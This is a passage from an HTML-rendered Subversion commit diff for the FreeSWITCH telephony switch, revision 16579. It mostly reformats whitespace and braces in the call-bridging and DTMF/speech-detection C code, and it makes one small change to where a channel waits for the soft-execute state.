</span><span class="cx">                         md->sr[SWITCH_DTMF_RECV].map[key].bind_flags = bind_flags;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Bound A-Leg: %d %s\n", key, app);
</span><span class="cx">                 }
</span><span class="cx">                 if ((bind_flags & SBF_DIAL_BLEG)) {
</span><span class="lines">@@ -2390,14 +2399,14 @@
</span><span class="cx">                                 if ((p = switch_stristr("<input>", xmlstr))) {
</span><span class="cx">                                         p += 7;
</span><span class="cx">                                 }
</span><del>-                                
-                                while(p && *p) {
</del><ins>+
+                                while (p && *p) {
</ins><span class="cx">                                         char c;
</span><span class="cx">
</span><span class="cx">                                         if (*p == '<') {
</span><span class="cx">                                                 break;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!strncasecmp(p, "pound", 5)) {
</span><span class="cx">                                                 c = '#';
</span><span class="cx">                                                 p += 5;
</span><span class="lines">@@ -2414,15 +2423,15 @@
</span><span class="cx">                                                 c = *p;
</span><span class="cx">                                                 p++;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (is_dtmf(c)) {
</span><span class="cx">                                                 switch_dtmf_t dtmf;
</span><span class="cx">                                                 dtmf.digit = c;
</span><span class="cx">                                                 dtmf.duration = switch_core_default_dtmf_duration(0);
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, "Queue speech detected dtmf %c\n", c);
</span><del>-                                                switch_channel_queue_dtmf(channel, &dtmf);                                                
</del><ins>+                                                switch_channel_queue_dtmf(channel, &dtmf);
</ins><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">                                 switch_ivr_resume_detect_speech(sth->session);
</span><span class="cx">                         }
</span><span class="lines">@@ -2598,10 +2607,10 @@
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_asr_flag_t flags = SWITCH_ASR_FLAG_NONE;
</span><span class="cx">         struct speech_thread_handle *sth = switch_channel_get_private(channel, SWITCH_SPEECH_KEY);
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         const char *p;
</span><span class="cx">         switch_core_session_get_read_impl(session, &read_impl);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!ah) {
</span><span class="cx">                 if (!(ah = switch_core_session_alloc(session, sizeof(*ah)))) {
</span><span class="cx">                         return SWITCH_STATUS_MEMERR;
</span><span class="lines">@@ -2623,10 +2632,10 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if ((status = switch_core_asr_open(ah,
</span><del>-                                                         mod_name,
-                                                         "L16",
-                                                         read_impl.actual_samples_per_second, dest, &flags,
-                                                         switch_core_session_get_pool(session))) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                         mod_name,
+                                                                         "L16",
+                                                                         read_impl.actual_samples_per_second, dest, &flags,
+                                                                         switch_core_session_get_pool(session))) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">
</span><span class="cx">                 if (switch_core_asr_load_grammar(ah, grammar, name) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Error loading Grammar\n");
</span><span class="lines">@@ -2864,7 +2873,7 @@
</span><span class="cx">                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, (flags & SMF_PRIORITY) ? "event-lock-pri" : "event-lock", "true");
</span><span class="cx">
</span><span class="cx">                                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, "lead-frames", "%d", 5);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((flags & SMF_LOOP)) {
</span><span class="cx">                                         switch_event_add_header(event, SWITCH_STACK_BOTTOM, "loops", "%d", -1);
</span><span class="cx">                                 }
</span><span class="lines">@@ -2872,11 +2881,11 @@
</span><span class="cx">                                 if ((flags & SMF_HOLD_BLEG)) {
</span><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "hold-bleg", "true");
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_session_queue_private_event(other_session, &event, (flags & SMF_PRIORITY));
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_session_rwunlock(other_session);
</span><span class="cx">                 master = other_session;
</span><span class="cx">                 other_session = NULL;
</span><span class="lines">@@ -2897,7 +2906,7 @@
</span><span class="cx">                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "execute-app-arg", path);
</span><span class="cx">                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, (flags & SMF_PRIORITY) ? "event-lock-pri" : "event-lock", "true");
</span><span class="cx">                                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, "lead-frames", "%d", 5);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((flags & SMF_LOOP)) {
</span><span class="cx">                                         switch_event_add_header(event, SWITCH_STACK_BOTTOM, "loops", "%d", -1);
</span><span class="cx">                                 }
</span><span class="lines">@@ -2907,7 +2916,8 @@
</span><span class="cx">
</span><span class="cx">                                 switch_core_session_queue_private_event(session, &event, (flags & SMF_PRIORITY));
</span><span class="cx">
</span><del>-                                if (nomedia) switch_channel_set_flag(channel, CF_BROADCAST_DROP_MEDIA);
</del><ins>+                                if (nomedia)
+                                        switch_channel_set_flag(channel, CF_BROADCAST_DROP_MEDIA);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 master = session;
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_ivr_bridgec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_ivr_bridge.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_ivr_bridge.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_bridge.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -68,11 +68,10 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">         }
</span><del>-        
-        switch_core_session_kill_channel(vh->session_b, SWITCH_SIG_BREAK);        
</del><ins>+
+        switch_core_session_kill_channel(vh->session_b, SWITCH_SIG_BREAK);
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s video thread ended.\n", switch_channel_get_name(channel));
</span><span class="cx">
</span><del>-
</del><span class="cx">         vh->up = 0;
</span><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="lines">@@ -90,7 +89,8 @@
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">
</span><del>-static void send_display(switch_core_session_t *session, switch_core_session_t *peer_session) {
</del><ins>+static void send_display(switch_core_session_t *session, switch_core_session_t *peer_session)
+{
</ins><span class="cx">
</span><span class="cx">         switch_core_session_message_t *msg;
</span><span class="cx">         switch_caller_profile_t *caller_profile;
</span><span class="lines">@@ -103,7 +103,7 @@
</span><span class="cx">         if (switch_channel_direction(caller_channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
</span><span class="cx">                 name = caller_profile->callee_id_name;
</span><span class="cx">                 number = caller_profile->callee_id_number;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(name)) {
</span><span class="cx">                         name = caller_profile->destination_number;
</span><span class="cx">                 }
</span><span class="lines">@@ -113,7 +113,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 name = caller_profile->caller_id_name;
</span><span class="cx">                 number = caller_profile->caller_id_number;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(name)) {
</span><span class="cx">                         name = caller_profile->destination_number;
</span><span class="cx">                 }
</span><span class="lines">@@ -123,10 +123,10 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if ((p = strrchr(number, '/'))) {
</span><del>-                number = p+1;
</del><ins>+                number = p + 1;
</ins><span class="cx">         }
</span><span class="cx">         if ((p = strrchr(name, '/'))) {
</span><del>-                name = p+1;
</del><ins>+                name = p + 1;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         msg = switch_core_session_alloc(peer_session, sizeof(*msg));
</span><span class="lines">@@ -175,13 +175,13 @@
</span><span class="cx">         int inner_bridge = 0;
</span><span class="cx">         switch_codec_t silence_codec = { 0 };
</span><span class="cx">         switch_frame_t silence_frame = { 0 };
</span><del>-        int16_t silence_data[SWITCH_RECOMMENDED_BUFFER_SIZE/2] = { 0 };
</del><ins>+        int16_t silence_data[SWITCH_RECOMMENDED_BUFFER_SIZE / 2] = { 0 };
</ins><span class="cx">         const char *silence_var;
</span><span class="cx">         int silence_val = 0, bypass_media_after_bridge = 0;
</span><span class="cx">         const char *bridge_answer_timeout = NULL;
</span><span class="cx">         int answer_timeout, sent_update = 0;
</span><span class="cx">         time_t answer_limit = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx"> #ifdef SWITCH_VIDEO_IN_THREADS
</span><span class="cx">         switch_thread_t *vid_thread = NULL;
</span><span class="cx">         struct vid_helper vh = { 0 };
</span><span class="lines">@@ -193,7 +193,7 @@
</span><span class="cx">         if (!(session_b = switch_core_session_locate(data->b_uuid))) {
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         input_callback = data->input_callback;
</span><span class="cx">         user_data = data->session_data;
</span><span class="cx">         stream_id = data->stream_id;
</span><span class="lines">@@ -212,7 +212,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         inner_bridge = switch_channel_test_flag(chan_a, CF_INNER_BRIDGE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_channel_test_flag(chan_a, CF_ANSWERED) && (bridge_answer_timeout = switch_channel_get_variable(chan_a, "bridge_answer_timeout"))) {
</span><span class="cx">                 if ((answer_timeout = atoi(bridge_answer_timeout)) < 0) {
</span><span class="cx">                         answer_timeout = 0;
</span><span class="lines">@@ -220,14 +220,14 @@
</span><span class="cx">                         answer_limit = switch_epoch_time_now(NULL) + answer_timeout;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         switch_channel_set_flag(chan_a, CF_BRIDGED);
</span><span class="cx">
</span><span class="cx">         switch_channel_wait_for_flag(chan_b, CF_BRIDGED, SWITCH_TRUE, 10000, chan_a);
</span><span class="cx">
</span><span class="cx">         if (!switch_channel_test_flag(chan_b, CF_BRIDGED)) {
</span><del>-                if (!(switch_channel_test_flag(chan_b, CF_TRANSFER) || switch_channel_test_flag(chan_b, CF_REDIRECT)
</del><ins>+                if (!(switch_channel_test_flag(chan_b, CF_TRANSFER) || switch_channel_test_flag(chan_b, CF_REDIRECT)
</ins><span class="cx">                          || switch_channel_get_state(chan_b) == CS_RESET)) {
</span><span class="cx">                         switch_channel_hangup(chan_b, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                 }
</span><span class="lines">@@ -241,8 +241,8 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if ((silence_var = switch_channel_get_variable(chan_a, "bridge_generate_comfort_noise"))) {                
-                switch_codec_implementation_t read_impl = {0};
</del><ins>+        if ((silence_var = switch_channel_get_variable(chan_a, "bridge_generate_comfort_noise"))) {
+                switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">                 switch_core_session_get_read_impl(session_a, &read_impl);
</span><span class="cx">
</span><span class="cx">                 if (!switch_channel_media_ready(chan_a)) {
</span><span class="lines">@@ -261,17 +261,17 @@
</span><span class="cx">                 if (silence_val) {
</span><span class="cx">                         if (switch_core_codec_init(&silence_codec,
</span><span class="cx">                                                                          "L16",
</span><del>-                                                                         NULL,
-                                                                         read_impl.actual_samples_per_second,
</del><ins>+                                                                         NULL,
+                                                                         read_impl.actual_samples_per_second,
</ins><span class="cx">                                                                          read_impl.microseconds_per_packet / 1000,
</span><span class="cx">                                                                          1,
</span><del>-                                                                         SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
-                                                                         NULL,
-                                                                         switch_core_session_get_pool(session_a)) != SWITCH_STATUS_SUCCESS) {
-                                
</del><ins>+                                                                         SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
+                                                                         NULL, switch_core_session_get_pool(session_a)) != SWITCH_STATUS_SUCCESS) {
+
</ins><span class="cx">                                 silence_val = 0;
</span><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Setup generated silence from %s to %s at %d\n", switch_channel_get_name(chan_a), switch_channel_get_name(chan_b), silence_val);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Setup generated silence from %s to %s at %d\n", switch_channel_get_name(chan_a),
+                                                                 switch_channel_get_name(chan_b), silence_val);
</ins><span class="cx">                                 silence_frame.codec = &silence_codec;
</span><span class="cx">                                 silence_frame.data = silence_data;
</span><span class="cx">                                 silence_frame.buflen = sizeof(silence_data);
</span><span class="lines">@@ -280,7 +280,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (;;) {
</span><span class="cx">                 switch_channel_state_t b_state;
</span><span class="cx">                 switch_status_t status;
</span><span class="lines">@@ -341,14 +341,14 @@
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-                if (loop_count > DEFAULT_LEAD_FRAMES && switch_channel_media_ack(chan_a) &&
-                        (bypass_media_after_bridge || switch_channel_test_flag(chan_a, CF_BYPASS_MEDIA_AFTER_BRIDGE)) && switch_channel_test_flag(chan_a, CF_ANSWERED) &&
-                        switch_channel_test_flag(chan_b, CF_ANSWERED)) {
</del><ins>+                if (loop_count > DEFAULT_LEAD_FRAMES && switch_channel_media_ack(chan_a) &&
+                        (bypass_media_after_bridge || switch_channel_test_flag(chan_a, CF_BYPASS_MEDIA_AFTER_BRIDGE)) && switch_channel_test_flag(chan_a, CF_ANSWERED)
+                        && switch_channel_test_flag(chan_b, CF_ANSWERED)) {
</ins><span class="cx">                         switch_ivr_nomedia(switch_core_session_get_uuid(session_a), SMF_REBRIDGE);
</span><span class="cx">                         bypass_media_after_bridge = 0;
</span><span class="cx">                         switch_channel_clear_flag(chan_a, CF_BYPASS_MEDIA_AFTER_BRIDGE);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* if 1 channel has DTMF pass it to the other */
</span><span class="cx">                 while (switch_channel_has_dtmf(chan_a)) {
</span><span class="cx">                         switch_dtmf_t dtmf = { 0, 0 };
</span><span class="lines">@@ -413,7 +413,7 @@
</span><span class="cx">
</span><span class="cx">                 if (ans_a != ans_b) {
</span><span class="cx">                         switch_channel_t *un = ans_a ? chan_b : chan_a;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!switch_channel_test_flag(un, CF_OUTBOUND)) {
</span><span class="cx">                                 switch_channel_pass_callee_id(un == chan_b ? chan_a : chan_b, un);
</span><span class="cx">                                 if (switch_channel_answer(un) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -422,14 +422,16 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        if (ans_a) ans_b = 1; else ans_a = 1;
</del><ins>+                        if (ans_a)
+                                ans_b = 1;
+                        else
+                                ans_a = 1;
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (originator && !sent_update && ans_a && ans_b && switch_channel_media_ack(chan_a) && switch_channel_media_ack(chan_b)) {
</span><span class="cx">                         switch_ivr_bridge_display(session_a, session_b);
</span><span class="cx">                         sent_update = 1;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #ifndef SWITCH_VIDEO_IN_THREADS
</span><span class="cx">                 if (switch_channel_test_flag(chan_a, CF_VIDEO) && switch_channel_test_flag(chan_b, CF_VIDEO)) {
</span><span class="cx">                         /* read video from 1 channel and write it to the other */
</span><span class="lines">@@ -455,15 +457,15 @@
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (data->skip_frames) {
</span><span class="cx">                                 data->skip_frames--;
</span><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (status != SWITCH_STATUS_BREAK && !switch_channel_test_flag(chan_a, CF_HOLD)) {
</span><span class="cx">                                 if (switch_core_session_write_frame(session_b, read_frame, SWITCH_IO_FLAG_NONE, stream_id) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                          "%s ending bridge by request from write function\n", switch_channel_get_name(chan_b));
</span><span class="cx">                                         goto end_of_bridge_loop;
</span><span class="cx">                                 }
</span><span class="lines">@@ -474,7 +476,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end_of_bridge_loop:
</del><ins>+ end_of_bridge_loop:
</ins><span class="cx">
</span><span class="cx"> #ifdef SWITCH_VIDEO_IN_THREADS
</span><span class="cx">         if (vid_thread) {
</span><span class="lines">@@ -563,7 +565,7 @@
</span><span class="cx">                 const char *ext = switch_channel_get_variable(chan_a, "hold_hangup_xfer_exten");
</span><span class="cx">
</span><span class="cx">                 switch_channel_stop_broadcast(chan_b);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(ext)) {
</span><span class="cx">                         switch_call_cause_t cause = switch_channel_get_cause(chan_b);
</span><span class="cx">                         if (cause == SWITCH_CAUSE_NONE) {
</span><span class="lines">@@ -619,19 +621,19 @@
</span><span class="cx">         switch_channel_clear_state_handler(channel, &audio_bridge_peer_state_handlers);
</span><span class="cx">
</span><span class="cx">         state = switch_channel_get_state(channel);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (state < CS_HANGUP && switch_true(switch_channel_get_variable(channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
</span><span class="cx">                 switch_ivr_park_session(session);
</span><span class="cx">         } else if (state < CS_HANGUP && (var = switch_channel_get_variable(channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
</span><span class="cx">                 transfer_after_bridge(session, var);
</span><span class="cx">         } else {
</span><del>-                if (!switch_channel_test_flag(channel, CF_TRANSFER) && !switch_channel_test_flag(channel, CF_REDIRECT) &&
-                        !switch_channel_test_flag(channel, CF_XFER_ZOMBIE) && bd && !bd->clean_exit
</del><ins>+                if (!switch_channel_test_flag(channel, CF_TRANSFER) && !switch_channel_test_flag(channel, CF_REDIRECT) &&
+                        !switch_channel_test_flag(channel, CF_XFER_ZOMBIE) && bd && !bd->clean_exit
</ins><span class="cx">                         && state != CS_PARK && state != CS_ROUTING && state != CS_EXCHANGE_MEDIA && !switch_channel_test_flag(channel, CF_INNER_BRIDGE)) {
</span><span class="cx">                         switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_get_state(channel) == CS_EXCHANGE_MEDIA) {
</span><span class="cx">                 switch_channel_set_variable(channel, "park_timeout", "3");
</span><span class="cx">                 switch_channel_set_state(channel, CS_PARK);
</span><span class="lines">@@ -724,7 +726,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_channel_clear_flag_recursive(channel, CF_BRIDGE_ORIGINATOR);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((other_uuid = switch_channel_get_variable(channel, SWITCH_UUID_BRIDGE)) && (other_session = switch_core_session_locate(other_uuid))) {
</span><span class="cx">                 switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
</span><span class="cx">                 switch_event_t *event;
</span><span class="lines">@@ -737,10 +739,9 @@
</span><span class="cx">
</span><span class="cx">                 if (switch_channel_get_state(other_channel) == CS_RESET) {
</span><span class="cx">                         switch_channel_set_state(other_channel, CS_SOFT_EXECUTE);
</span><ins>+                        switch_channel_wait_for_state(other_channel, channel, CS_SOFT_EXECUTE);
</ins><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_channel_wait_for_state(other_channel, channel, CS_SOFT_EXECUTE);
-
</del><span class="cx">                 switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="cx">
</span><span class="cx">                 if (switch_ivr_wait_for_answer(session, other_session) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -785,11 +786,10 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_ivr_multi_threaded_bridge(session, other_session, NULL, NULL, NULL);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 state = switch_channel_get_state(channel);
</span><del>-                if (!switch_channel_test_flag(channel, CF_TRANSFER) &&
-                        !switch_channel_test_flag(channel, CF_REDIRECT) && state < CS_HANGUP
-                        && state != CS_ROUTING && state != CS_PARK) {
</del><ins>+                if (!switch_channel_test_flag(channel, CF_TRANSFER) &&
+                        !switch_channel_test_flag(channel, CF_REDIRECT) && state < CS_HANGUP && state != CS_ROUTING && state != CS_PARK) {
</ins><span class="cx">                         switch_channel_set_state(channel, CS_EXECUTE);
</span><span class="cx">                 }
</span><span class="cx">                 switch_core_session_rwunlock(other_session);
</span><span class="lines">@@ -809,7 +809,7 @@
</span><span class="cx">
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(channel != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((key = (char *) switch_channel_get_private(channel, "__bridge_term_key")) && dtmf->digit == *key) {
</span><span class="cx">                 const char *uuid;
</span><span class="cx">                 switch_core_session_t *other_session;
</span><span class="lines">@@ -825,10 +825,10 @@
</span><span class="cx">                                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -837,12 +837,12 @@
</span><span class="cx">         switch_core_session_message_t msg = { 0 };
</span><span class="cx">         switch_channel_t *channel = NULL;
</span><span class="cx">
</span><del>-        channel = switch_core_session_get_channel(session);
</del><ins>+        channel = switch_core_session_get_channel(session);
</ins><span class="cx">
</span><span class="cx">         msg.message_id = SWITCH_MESSAGE_INDICATE_UNBRIDGE;
</span><span class="cx">         msg.from = __FILE__;
</span><span class="cx">         msg.string_arg = switch_channel_get_variable(channel, SWITCH_SIGNAL_BRIDGE_VARIABLE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_receive_message(session, &msg);
</span><span class="cx">         switch_core_event_hook_remove_state_change(session, hanguphook);
</span><span class="cx">
</span><span class="lines">@@ -896,17 +896,17 @@
</span><span class="cx">         switch_channel_set_variable(channel, SWITCH_BRIDGE_VARIABLE, NULL);
</span><span class="cx">
</span><span class="cx">         if (uuid && (other_session = switch_core_session_locate(uuid))) {
</span><del>- switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
- const char *sbv = switch_channel_get_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE);
</del><ins>+                switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
+                const char *sbv = switch_channel_get_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE);
</ins><span class="cx">                 const char *var;
</span><span class="cx">
</span><del>- if (!zstr(sbv) && !strcmp(sbv, switch_core_session_get_uuid(session))) {
</del><ins>+                if (!zstr(sbv) && !strcmp(sbv, switch_core_session_get_uuid(session))) {
</ins><span class="cx">
</span><del>- switch_channel_set_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE, NULL);
- switch_channel_set_variable(other_channel, SWITCH_BRIDGE_VARIABLE, NULL);
-                        
- if (switch_channel_up(other_channel)) {
</del><ins>+                        switch_channel_set_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE, NULL);
+                        switch_channel_set_variable(other_channel, SWITCH_BRIDGE_VARIABLE, NULL);
</ins><span class="cx">
</span><ins>+                        if (switch_channel_up(other_channel)) {
+
</ins><span class="cx">                                 if (switch_true(switch_channel_get_variable(other_channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
</span><span class="cx">                                         switch_ivr_park_session(other_session);
</span><span class="cx">                                 } else if ((var = switch_channel_get_variable(other_channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
</span><span class="lines">@@ -916,19 +916,19 @@
</span><span class="cx">                                 if (switch_channel_test_flag(other_channel, CF_BRIDGE_ORIGINATOR)) {
</span><span class="cx">                                         if (switch_channel_test_flag(channel, CF_ANSWERED) &&
</span><span class="cx">                                                 switch_true(switch_channel_get_variable(other_channel, SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE))) {
</span><del>-                                                switch_channel_hangup(other_channel, switch_channel_get_cause(channel));        
</del><ins>+                                                switch_channel_hangup(other_channel, switch_channel_get_cause(channel));
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 switch_channel_set_state(other_channel, CS_EXECUTE);
</span><span class="cx">                                         }
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_channel_hangup(other_channel, switch_channel_get_cause(channel));
</span><span class="cx">                                 }
</span><del>- }
- }
-                
- switch_core_session_rwunlock(other_session);
- }
-        
</del><ins>+                        }
+                }
+
+                switch_core_session_rwunlock(other_session);
+        }
+
</ins><span class="cx">         if (switch_channel_test_flag(channel, CF_BRIDGE_ORIGINATOR)) {
</span><span class="cx">                 switch_channel_clear_flag_recursive(channel, CF_BRIDGE_ORIGINATOR);
</span><span class="cx">                 if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_UNBRIDGE) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -936,7 +936,7 @@
</span><span class="cx">                         switch_event_fire(&event);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1001,14 +1001,14 @@
</span><span class="cx">                 switch_channel_event_set_data(caller_channel, event);
</span><span class="cx">                 switch_event_fire(&event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_set_state_flag(caller_channel, CF_RESET);
</span><span class="cx">         switch_channel_set_state_flag(peer_channel, CF_RESET);
</span><span class="cx">
</span><span class="cx">         switch_channel_set_state(caller_channel, CS_HIBERNATE);
</span><span class="cx">         switch_channel_set_state(peer_channel, CS_HIBERNATE);
</span><span class="cx">
</span><del>-#if 0        
</del><ins>+#if 0
</ins><span class="cx">         if (switch_channel_test_flag(caller_channel, CF_BRIDGED)) {
</span><span class="cx">                 switch_channel_set_flag(caller_channel, CF_TRANSFER);
</span><span class="cx">                 switch_channel_set_flag(peer_channel, CF_TRANSFER);
</span><span class="lines">@@ -1042,8 +1042,8 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Call has no media... Redirecting to signal bridge.\n");
</span><span class="cx">                 return switch_ivr_signal_bridge(session, peer_session);
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         switch_channel_set_flag_recursive(caller_channel, CF_MEDIA_BRIDGE_TTL);
</span><span class="cx">         switch_channel_set_flag_recursive(peer_channel, CF_MEDIA_BRIDGE_TTL);
</span><span class="cx">
</span><span class="lines">@@ -1088,12 +1088,12 @@
</span><span class="cx">                         switch_channel_set_variable(caller_channel, SWITCH_BRIDGE_VARIABLE, switch_core_session_get_uuid(peer_session));
</span><span class="cx">                         switch_channel_set_variable(peer_channel, SWITCH_BRIDGE_VARIABLE, switch_core_session_get_uuid(session));
</span><span class="cx">
</span><del>-                        if (!switch_channel_media_ready(caller_channel) ||
</del><ins>+                        if (!switch_channel_media_ready(caller_channel) ||
</ins><span class="cx">                                 (!switch_channel_test_flag(peer_channel, CF_ANSWERED) && !switch_channel_test_flag(peer_channel, CF_EARLY_MEDIA))) {
</span><span class="cx">                                 if ((status = switch_ivr_wait_for_answer(session, peer_session)) != SWITCH_STATUS_SUCCESS || !switch_channel_ready(caller_channel)) {
</span><span class="cx">                                         switch_channel_state_t w_state = switch_channel_get_state(caller_channel);
</span><span class="cx">                                         switch_channel_hangup(peer_channel, SWITCH_CAUSE_ALLOTTED_TIMEOUT);
</span><del>-                                        if (w_state < CS_HANGUP && w_state != CS_ROUTING && w_state != CS_PARK &&
</del><ins>+                                        if (w_state < CS_HANGUP && w_state != CS_ROUTING && w_state != CS_PARK &&
